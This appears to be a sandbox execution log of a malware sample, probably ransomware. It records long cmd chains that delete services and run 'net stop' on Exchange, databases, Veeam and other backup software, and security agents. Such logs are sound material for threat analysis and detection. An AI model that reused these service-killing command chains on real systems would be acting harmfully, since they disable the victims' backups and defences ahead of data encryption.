C:\Windows\SysWOW64\sc.exesc delete NscAuthService4⤵PID:4468
-
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMUnzipService4⤵PID:1776
-
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService$maintenance4⤵PID:4452
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"3⤵PID:2368
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1536
-
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService14⤵PID:4524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService15⤵PID:4604
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService24⤵PID:4968
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService25⤵PID:5048
-
-
-
C:\Windows\SysWOW64\net.exenet stop "memcached Server"4⤵PID:4632
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "memcached Server"5⤵PID:4468
-
-
-
C:\Windows\SysWOW64\net.exenet stop Apache2.44⤵PID:2732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.45⤵PID:4940
-
-
-
C:\Windows\SysWOW64\net.exenet stop UFIDAWebService4⤵PID:5012
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFIDAWebService5⤵PID:4132
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology4⤵PID:4880
-
-
C:\Windows\SysWOW64\net.exenet stop MSComplianceAudit4⤵PID:4400
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeAntispamUpdate4⤵PID:4100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate5⤵PID:4336
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeCompliance4⤵PID:4804
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance5⤵PID:4652
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDagMgmt4⤵PID:1544
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt5⤵PID:5092
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDelivery4⤵PID:4100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery5⤵PID:4376
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDiagnostics4⤵PID:4588
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics5⤵PID:4396
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeEdgeSync4⤵PID:4876
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync5⤵PID:5056
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFastSearch4⤵PID:4420
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch5⤵PID:4148
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFrontEndTransport4⤵PID:4992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport5⤵PID:4644
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHM4⤵PID:4948
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHM5⤵PID:4904
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL20084⤵PID:4748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20085⤵PID:5100
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHMRecovery4⤵PID:8
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery5⤵PID:4856
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeImap44⤵PID:292
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeImap45⤵PID:1164
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIMAP4BE4⤵PID:2732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE5⤵PID:4216
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS4⤵PID:4116
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS5⤵PID:4692
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxAssistants4⤵PID:4436
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants5⤵PID:5100
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxReplication4⤵PID:4500
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication5⤵PID:4988
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeNotificationsBroker4⤵PID:5076
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeNotificationsBroker5⤵PID:4248
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangePop34⤵PID:4948
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangePop35⤵PID:4552
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangePOP3BE4⤵PID:4688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangePOP3BE5⤵PID:4940
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeRepl4⤵PID:3440
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeRepl5⤵PID:2736
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeRPC4⤵PID:4772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeRPC5⤵PID:4252
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeServiceHost4⤵PID:4928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeServiceHost5⤵PID:5020
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSubmission4⤵PID:768
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSubmission5⤵PID:4456
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeThrottling4⤵PID:3416
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeThrottling5⤵PID:4852
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeTransport4⤵PID:4752
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeTransport5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4112
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeTransportLogSearch4⤵PID:5044
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeTransportLogSearch5⤵PID:4728
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeUM4⤵PID:5060
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeUM5⤵PID:8
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeUMCR4⤵PID:5080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeUMCR5⤵PID:2320
-
-
-
C:\Windows\SysWOW64\net.exenet stop MySQL5_OA4⤵PID:4304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL5_OA5⤵PID:5032
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""3⤵PID:2856
-
C:\Windows\SysWOW64\net.exenet stop UIODetect4⤵PID:4512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UIODetect5⤵PID:4612
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMwareHostd4⤵PID:4996
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMwareHostd5⤵PID:5028
-
-
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer84⤵
- Discovers systems in the same network
PID:4548 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer85⤵PID:4496
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMUSBArbService4⤵PID:4960
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMUSBArbService5⤵PID:4860
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMAuthdService4⤵PID:4116
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMAuthdService5⤵PID:1812
-
-
-
C:\Windows\SysWOW64\net.exenet stop wanxiao-monitor4⤵PID:4476
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor5⤵PID:4644
-
-
-
C:\Windows\SysWOW64\net.exenet stop WebAttendServer4⤵PID:5060
-
-
C:\Windows\SysWOW64\net.exenet stop mysqltransport4⤵PID:4396
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysqltransport5⤵PID:4528
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMnetDHCP4⤵PID:4580
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMnetDHCP5⤵PID:4876
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VMware NAT Service"4⤵PID:4536
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"5⤵PID:3632
-
-
-
C:\Windows\SysWOW64\net.exenet stop Tomcat84⤵PID:4668
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tomcat85⤵PID:4496
-
-
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer4⤵
- Discovers systems in the same network
PID:2156 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer5⤵PID:4596
-
-
-
C:\Windows\SysWOW64\net.exenet stop QPCore4⤵PID:2836
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QPCore5⤵PID:4736
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASLicenceServer4⤵PID:4396
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASLicenceServer5⤵PID:4988
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASWebServer4⤵PID:2732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASWebServer5⤵PID:4664
-
-
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdateService4⤵PID:4776
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdateService5⤵PID:2816
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Detect Service"4⤵PID:5072
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"5⤵PID:2736
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Update Service"4⤵PID:4396
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"5⤵PID:3536
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AliyunService"4⤵PID:4392
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AliyunService"5⤵PID:4580
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASXMLService4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1620 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASXMLService5⤵PID:2816
-
-
-
C:\Windows\SysWOW64\net.exenet stop AGSService4⤵PID:1296
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AGSService5⤵PID:616
-
-
-
C:\Windows\SysWOW64\net.exenet stop RapService4⤵PID:308
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapService5⤵PID:2736
-
-
-
C:\Windows\SysWOW64\net.exenet stop DDNSService4⤵PID:2772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDNSService5⤵PID:1816
-
-
-
C:\Windows\SysWOW64\net.exenet stop iNethinkSQLBackupSvc4⤵PID:4760
-
-
C:\Windows\SysWOW64\net.exenet stop CASVirtualDiskService4⤵PID:4876
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService5⤵PID:4100
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASMsgSrv4⤵PID:5008
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASMsgSrv5⤵PID:4864
-
-
-
C:\Windows\SysWOW64\net.exenet stop "OracleOraDb10g_homeliSQL*Plus"4⤵PID:5060
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"5⤵PID:1804
-
-
-
C:\Windows\SysWOW64\net.exenet stop OracleDBConsoleilas4⤵PID:4516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleDBConsoleilas5⤵PID:4144
-
-
-
C:\Windows\SysWOW64\net.exenet stop MySQL4⤵PID:1056
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL5⤵PID:4744
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService12204⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService12205⤵
- Suspicious use of AdjustPrivilegeToken
PID:2704
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService12204⤵PID:1628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService12205⤵PID:4704
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService12204⤵PID:4232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService12205⤵PID:4436
-
-
-
C:\Windows\SysWOW64\net.exenet stop K3MobileServiceManage4⤵PID:1380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop K3MobileServiceManage5⤵PID:1744
-
-
-
C:\Windows\SysWOW64\net.exenet stop "FileZilla Server"4⤵PID:3060
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "FileZilla Server"5⤵PID:1396
-
-
-
C:\Windows\SysWOW64\net.exenet stop DDVRulesProcessor4⤵PID:1496
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDVRulesProcessor5⤵PID:4428
-
-
-
C:\Windows\SysWOW64\net.exenet stop ImtsEventSvr4⤵PID:4656
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ImtsEventSvr5⤵PID:5092
-
-
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdatePatchService4⤵PID:3688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdatePatchService5⤵PID:5000
-
-
-
C:\Windows\SysWOW64\net.exenet stop OMAILREPORT4⤵PID:768
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OMAILREPORT5⤵PID:1968
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Dell Hardware Support"4⤵PID:2336
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Dell Hardware Support"5⤵PID:3556
-
-
-
C:\Windows\SysWOW64\net.exenet stop SupportAssistAgent4⤵PID:4940
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SupportAssistAgent5⤵PID:1808
-
-
-
C:\Windows\SysWOW64\net.exenet stop K3MMainSuspendService4⤵PID:296
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop K3MMainSuspendService5⤵PID:4968
-
-
-
C:\Windows\SysWOW64\net.exenet stop KpService4⤵PID:2796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KpService5⤵PID:2824
-
-
-
C:\Windows\SysWOW64\net.exenet stop ceng_web_svc_d4⤵PID:696
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ceng_web_svc_d5⤵PID:4216
-
-
-
C:\Windows\SysWOW64\net.exenet stop KugouService4⤵
- Suspicious use of AdjustPrivilegeToken
PID:312 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KugouService5⤵PID:2736
-
-
-
C:\Windows\SysWOW64\net.exenet stop pcas4⤵PID:2000
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop pcas5⤵PID:4156
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8SendMailAdmin4⤵PID:2948
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8SendMailAdmin5⤵PID:1404
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Bonjour Service"4⤵PID:4304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Bonjour Service"5⤵PID:2372
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Apple Mobile Device Service"4⤵PID:2156
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Apple Mobile Device Service"5⤵PID:4092
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ABBYY.Licensing.FineReader.Professional.12.0"4⤵PID:3080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ABBYY.Licensing.FineReader.Professional.12.0"5⤵PID:4760
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"3⤵PID:1068
-
C:\Windows\SysWOW64\net.exenet stop HaoZipSvc4⤵PID:2156
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop HaoZipSvc5⤵PID:4100
-
-
-
C:\Windows\SysWOW64\net.exenet stop "igfxCUIService2.0.0.0"4⤵PID:4588
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"5⤵PID:4648
-
-
-
C:\Windows\SysWOW64\net.exenet stop Realtek11nSU4⤵PID:5016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Realtek11nSU5⤵PID:5064
-
-
-
C:\Windows\SysWOW64\net.exenet stop xenlite4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1772
-
-
C:\Windows\SysWOW64\net.exenet stop XenSvc4⤵PID:4876
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop XenSvc5⤵PID:4844
-
-
-
C:\Windows\SysWOW64\net.exenet stop Apache2.24⤵PID:4336
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.25⤵PID:4460
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Synology Drive VSS Service x64"4⤵PID:4304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROGID"5⤵PID:696
-
-
-
C:\Windows\SysWOW64\net.exenet stop DellDRLogSvc4⤵PID:5076
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc5⤵PID:2732
-
-
-
C:\Windows\SysWOW64\net.exenet stop FirebirdGuardianDeafaultInstance4⤵PID:4560
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance5⤵PID:4676
-
-
-
C:\Windows\SysWOW64\net.exenet stop JWEM3DBAUTORun4⤵PID:4476
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun5⤵PID:1404
-
-
-
C:\Windows\SysWOW64\net.exenet stop JWRinfoClientService4⤵PID:2704
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService5⤵PID:4436
-
-
-
C:\Windows\SysWOW64\net.exenet stop JWService4⤵PID:4388
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWService5⤵PID:2052
-
-
-
C:\Windows\SysWOW64\net.exenet stop Service24⤵PID:4868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Service25⤵PID:4680
-
-
-
C:\Windows\SysWOW64\net.exenet stop RapidRecoveryAgent4⤵PID:4732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent5⤵PID:3500
-
-
-
C:\Windows\SysWOW64\net.exenet stop FirebirdServerDefaultInstance4⤵PID:64
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance5⤵PID:2052
-
-
-
C:\Windows\SysWOW64\net.exenet stop AdobeARMservice4⤵PID:4860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AdobeARMservice5⤵PID:4120
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc4⤵PID:1544
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc5⤵PID:4916
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeanBackupSvc4⤵PID:4608
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc5⤵PID:1620
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc4⤵PID:4420
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc5⤵PID:2104
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService13004⤵PID:4896
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService13004⤵PID:4860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13005⤵PID:1404
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService13004⤵PID:4480
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13005⤵PID:2220
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdWebService13004⤵PID:4532
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13005⤵
- Suspicious use of AdjustPrivilegeToken
PID:2844
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4620 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc5⤵PID:8
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc4⤵PID:2032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc5⤵PID:2204
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamCloudSvc4⤵PID:4576
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4712
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamMountSvc4⤵PID:284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4012
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamBrokerSvc4⤵PID:4536
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc5⤵PID:2836
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamDistributionSvc4⤵PID:4120
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDistributionSvc5⤵PID:4156
-
-
-
C:\Windows\SysWOW64\net.exenet stop tmlisten4⤵PID:2204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tmlisten5⤵PID:4596
-
-
-
C:\Windows\SysWOW64\net.exenet stop ServiceMid4⤵PID:1384
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ServiceMid5⤵PID:4508
-
-
-
C:\Windows\SysWOW64\net.exenet stop 360EntPGSvc4⤵PID:2504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360EntPGSvc5⤵PID:3872
-
-
-
C:\Windows\SysWOW64\net.exenet stop ClickToRunSvc4⤵PID:284
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ClickToRunSvc5⤵PID:1308
-
-
-
C:\Windows\SysWOW64\net.exenet stop RavTask4⤵PID:4496
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RavTask5⤵PID:312
-
-
-
C:\Windows\SysWOW64\net.exenet stop AngelOfDeath4⤵PID:4448
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AngelOfDeath5⤵PID:4616
-
-
-
C:\Windows\SysWOW64\net.exenet stop d_safe4⤵PID:4564
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop d_safe5⤵PID:2984
-
-
-
C:\Windows\SysWOW64\net.exenet stop NFLicenceServer4⤵PID:4908
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NFLicenceServer5⤵PID:4760
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetVault Process Manager"4⤵PID:4512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetVault Process Manager"5⤵PID:1772
-
-
-
C:\Windows\SysWOW64\net.exenet stop RavService4⤵PID:4472
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RavService5⤵PID:1712
-
-
-
C:\Windows\SysWOW64\net.exenet stop DFServ4⤵PID:3500
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DFServ5⤵PID:4104
-
-
-
